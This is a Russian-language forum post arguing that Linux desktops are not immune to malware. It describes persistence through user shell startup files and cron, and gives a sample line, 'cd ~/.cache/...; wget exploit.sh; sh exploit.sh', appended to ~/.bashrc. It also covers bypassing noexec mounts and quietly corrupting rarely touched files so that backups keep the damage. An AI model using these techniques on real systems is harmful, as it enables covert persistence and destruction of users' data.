а что там троллить? Если злоумышленник сможет незаметно добавить нечто в пользовательские файлы автозапуска или крона, то это нечто начнет отрабатывать. Или при следующем входе в систему, или по кроновскому расписанию. При этом думать, что если пользователю доступны по записи только noexec-диски, то ничего с них не запустится - есть глубочайшее заблуждение. Запускать программы можно по из имени (при этом надо поставить им атрубут "x", то есть запусить chmod), а можно и через явное указание шелла (sh ~/.bla-bla-bla/exploit.sh). Во втором случае и запускать самому ничего не надо. А далее - запущенное от имени пользователя сделает свое черное дело. Настолько черное, насколько черна душа у писателя. Тем более, что максимальую гадость можно сделать именно с правами юзера (покорежить в случайном порядке все доступные юзеру данные), а не рута.

Берем офтопичный IE+ActiveX (оно позволяет обращаться к локальным ресурсам). С использованием  этой сладкой парочки пытаемся выполнить простое действие:
записать в ~/.bash_login или в ~/.bashrc, или еще куда-нибудь конструкцию вида "cd ~/.cache/...; wget exploit.sh; sh exploit.sh". Например, через "echo text >>~/.bashrc". Важно только получить возможность записать хоть что-либо в локальные пользовательские файлы.   Как только эта возможность появится, появятся и соответствующие удары.

Ну и не нужно думать, что пользовательские данные можно сохранить бэкапом. Во первых, самое ценное на компьютере, это не ось, а именно пользовательские данные. Причем все, к которым имеет доступ пользователь, даже на сети. Во вторых - вполне можно замаскировать разрушение данных. То есть крушить не все подряд, а лишь то, к чему определенное время никто не прикасался. Вероятность, что не прикоснется и в ближайшем будущем - высока. Вот это и покрушить. А бэкап честно порушенные файлы в своё хранилище затянет. Кто хранит бэкапы вечно? А когда потребуется достать - там, в архиве, уже будет сидеть порушенный файл.

Это допущение рабочее. А именно - есть ряд сайтов, которые нужно мониторить по делам бизнеса. А написаны они как раз под эту связку. А в FireFox'е - неработоспособны. Так что эта сладкая парочка вполне может появиться и вынужденно на рабочем компьютере. Это первое.
Второе - дашь гарантию, что в результате ошибки какой FF не приоткроет доступ нарушителю к локальным ресурсам? Я  - нет.
Может, я - параноик. Но в данном случае открытость кода может сыграть злую шутку. Что злобный хакер быстрее найдет ошибку и воспользуется ею, чем будет выпущен патч. Плюс - социальная инженерия, запусти программку, увидишь много нового... А что там останется в ~/.bashrc после её запуска?

Я не говорю про Wine. Я говорю про технологии. Технологии, которым необходимо для выполнения тех или иных задач иметь доступ к локальным ресурсам. Как только FF реализует, если реализует, такое - то будет при этом и реализована дыра, в которую можно что-либо засадить.
Для чего нужны такие тахнологии, почему без них не обойтись? Ответ прост. Системы защищенного документооборота в обязательном порядке требуют доступ к криптографичисеским ключам. Которые могут быть только локальными. А вот сервер этого документооборота - может располагаться где-либо в интернете. И вот нужно тебе загрузить в систему подписанное твоей подписью сообщение (которое формируется серверной частью), как поступать будем?
Я не исключаю возможности, что разработчики FF реализуют соответствующий модуль для обеспечения реализации такой работы. А дальше, через этот модуль, можно будет и атаки проводить.
Сама по себе атака юникса не сложна. Сложно найти дырку, через которую её можно провести.

Очень долго считалось, что вирусы не передаются с документами, что только в исполняемых файлах живут...
Очень долго считалось, что MacOS устойчива к вирусным атакам....
Продолжай считать, что Linux идет своим путем...